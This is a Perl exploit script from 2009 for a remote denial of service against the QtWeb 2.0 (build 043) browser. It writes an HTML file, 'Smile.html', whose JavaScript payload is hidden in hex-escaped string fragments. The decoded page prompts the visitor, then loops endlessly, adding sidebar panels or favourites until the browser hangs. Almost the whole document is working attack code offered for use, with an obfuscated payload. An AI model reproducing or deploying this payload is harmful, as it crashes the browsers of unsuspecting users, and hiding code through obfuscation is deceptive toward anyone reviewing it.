QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)

###################################################################################
#
# QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)
#
# Summary: QtWeb is compact, portable and secure web browser having some unique UI
# and privacy features. QtWeb is an open source project based on Nokia's Qt framework
# (former Trolltech) and Apple's WebKit rendering engine (the same as being used in
# Apple Safari and Google Chrome).
#
# Happy Exploit.
#
# Product web page: http://www.qtweb.net/
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 01.04.2009
#
###################################################################################

$S="\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A".
"\x3C\x74\x69\x74\x6C\x65\x3E\x51\x74\x57\x65\x62".
"\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x42\x72\x6F\x77\x73\x65".
"\x72\x20\x32". "\x2E\x30\x20".
"\x28\x62". "\x75\x69".
"\x6C\x64". "\x20\x30".
"\x34\x33". "\x29\x20".
"\x52\x65". "\x6D\x6F".
"\x74\x65". "\x20\x44".
"\x65\x6E". "\x69\x61".
"\x6C\x20". "\x6F\x66".
"\x20\x53". "\x65\x72".
"\x76\x69". "\x63\x65".
"\x20\x45". "\x78\x70".
"\x6C\x6F". "\x69\x74". "\x3C\x2F". "\x54\x69".
"\x74\x6C". "\x65". "\x3E". "\x0D". "\x0A". "\x3C\x68".
"\x65\x61". "\x64". "\x3E". "\x3C". "\x62". "\x6F\x64".
"\x79\x3E". "\x3C". "\x73". "\x63". "\x72". "\x69\x70".
"\x74\x20". "\x74\x79".
"\x70\x65". "\x3D\x22".
"\x74\x65". "\x78\x74".
"\x2F\x6A". "\x61\x76".
"\x61\x73". "\x63\x72".
"\x69\x70". "\x74\x22".
"\x3E\x0D". "\x0A\x61".
"\x6C\x65". "\x72\x74".
"\x28\x22". "\x51\x74".
"\x57\x65". "\x62\x20".
"\x49\x6E". "\x74\x65".
"\x72\x6E". "\x65\x74".
"\x20\x42". "\x72\x6F".
"\x77\x73". "\x65\x72".
"\x20\x32". "\x2E\x30".
"\x20\x28". "\x62". "\x75". "\x69\x6C".
"\x64\x20". "\x30". "\x34". "\x33\x29".
"\x20\x52". "\x65". "\x6D". "\x6F\x74".
"\x65\x20". "\x44". "\x65". "\x6E\x69".
"\x61\x6C". "\x20". "\x6F". "\x66\x20".
"\x53\x65". "\x72". "\x76". "\x69\x63".
"\x65\x20". "\x45". "\x78". "\x70\x6C".
"\x6F\x69". "\x74". "\x5C". "\x6E\x5C".
"\x6E\x5C". "\x74". "\x5C". "\x74\x5C".
"\x74\x62". "\x79". "\x20". "\x4C\x69".
"\x71\x75". "\x69". "\x64". "\x57\x6F".
"\x72\x6D". "\x20". "\x28". "\x63\x29".
"\x20\x32". "\x30". "\x30". "\x39\x22".
"\x29\x3B". "\x0D\x0A\x66". "\x75\x6E".
"\x63\x74". "\x69\x6F".
"\x6E\x20". "\x64\x6F".
"\x7A\x28". "\x29\x20".
"\x7B\x0D". "\x0A\x74".
"\x69\x74". "\x6C\x65".
"\x3D\x22". "\x48\x6F".
"\x74\x20". "\x49\x63".
"\x65\x22". "\x3B\x0D".
"\x0A\x75". "\x72\x6C".
"\x3D\x22". "\x68\x74".
"\x74\x70\x3A". "\x2F\x2F\x77".
"\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x2F".
"\x22\x3B\x0D\x0A\x69\x66\x20\x28\x77\x69\x6E\x64".
"\x6F\x77\x2E\x73\x69\x64\x65\x62";$M=




"\x61". "\x72" ."\x29". "\x20".
"\x7B". "\x0D" ."\x0A". "\x77". "\x69".
"\x6E"."\x64". "\x6F". "\x77". "\x2E".
"\x73". "\x69". "\x64". "\x65".
"\x62". "\x61". "\x72". "\x2E".
"\x61". "\x64". "\x64". "\x50".
"\x61". "\x6E". "\x65". "\x6C".
"\x28". "\x74". "\x69". "\x74".
"\x6C". "\x65". "\x2C". "\x20".
"\x75". "\x72". "\x6C". "\x2C".
"\x22". "\x22". "\x29". "\x3B".
"\x0D". "\x0A"."\x7D".
"\x20". "\x65". "\x6C".
"\x73";




$I="\x65\x20\x69\x66\x28\x20\x77".
"\x69\x6E\x64\x6F\x77".
"\x2E\x65\x78\x74\x65\x72\x6E".
"\x61\x6C\x20\x29\x20". ##############
"\x7B\x0D\x0A\x77\x69\x6E\x64". ## #
"\x6F\x77\x2E\x65"."\x78". ######
"\x74\x65\x72\x6E\x61". ########## _ _ _
"\x6C\x2E\x41\x64\x64\x46\x61\x76\x6F\x72\x69". #==---- #==---- #==----
"\x74\x65\x28\x20\x75".
"\x72\x6C\x2C\x20\x74". ##===*
"\x69\x74\x6C\x65\x29\x3B\x0D".
"\x0A\x7D\x20\x65\x6C".
"\x73\x65\x20\x69\x66\x28\x77".
"\x69\x6E\x64\x6F\x77".
"\x2E\x6F\x70\x65\x72\x61\x20";
####################


$L="\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x2E".
"\x70\x72\x69\x6E\x74\x29\x20\x7B".
"\x20\x0D\x0A\x72\x65\x74".
"\x75\x72\x6E\x20".
"\x28\x74\x72".
"\x75\x65".
"\x29".
"\x3B".
"\x20\x7D".
"\x7D\x0D\x0A".
"\x76\x61\x72\x20".
"\x61\x73\x6B\x20\x3D\x20".
"\x63\x6F\x6E\x66\x69\x72\x6D\x28".
"\x22\x50\x72\x65\x73\x73\x20\x4F\x4B\x20".
"\x74\x6F\x20\x73\x74\x61\x72\x74".
"\x20\x74\x68\x65\x20\x44".
"\x6F\x53\x2E\x5C".
"\x6E\x50\x72".
"\x65\x73".
"\x73".
"\x20".
"\x4E\x6F".
"\x20\x74\x6F".
"\x20\x64\x6F\x64".
"\x67\x65\x20\x74\x68\x65".
"\x20\x44\x6F\x53\x2E\x22\x29\x3B".
"\x0D\x0A\x69\x66\x20\x28\x61\x73\x6B\x20".
"\x3D\x3D\x20\x74\x72\x75\x65\x29".
"\x20\x7B\x20\x0D\x0A\x66".
"\x6F\x72\x20\x28".
"\x78\x3D\x30".
"\x3B\x20".
"\x78".
"\x3C".
"\x78\x2B".
"\x31\x3B\x20".
"\x78\x2B\x2B\x29".
"\x20\x64\x6F\x7A\x28\x29".
"\x3B\x0D\x0A\x7D\x20\x65\x6C\x73".
"\x65\x09\x7B\x20\x61\x6C\x65\x72\x74\x28".
"\x22\x4F\x6B\x20\x3A\x28\x22\x29".
"\x3B\x0D\x0A\x77\x69\x6E".
"\x64\x6F\x77\x2E".
"\x6C\x6F\x63".
"\x61\x74".
"\x69".
"\x6F".
"\x6E\x2E".
"\x68\x72\x65".
"\x66\x20\x3D\x20".
"\x22\x68\x74\x74\x70\x3A".
"\x2F\x2F\x77\x77\x77\x2E\x71\x74".
"\x77\x65\x62\x2E\x6E\x65\x74\x2F\x22\x3B";
#########
$E="\x0D\x0A\x7D\x20".
"\x3C\x2F\x73\x63".
"\x72\x69\x70\x74".
"\x3E\x3C\x2F\x62".
"\x6F\x64\x79\x3E".
"\x3C\x2F\x68\x65".
"\x61\x64\x3E\x3C".
"\x2F\x68\x74\x6D".
"\x6C\x3E";#####____

my $file = "Smile.html";
my $fun = $S.$M.$I.$L.$E;
open (mrowdiuqil, ">./$file") || die "\nMffff... $!\n";
print mrowdiuqil "$fun";
close (mrowdiuqil);
print "\n[+] File $file created with funny potion\!\n\n";



http://www.zeroscience.org/codes/qtweb_dos.txt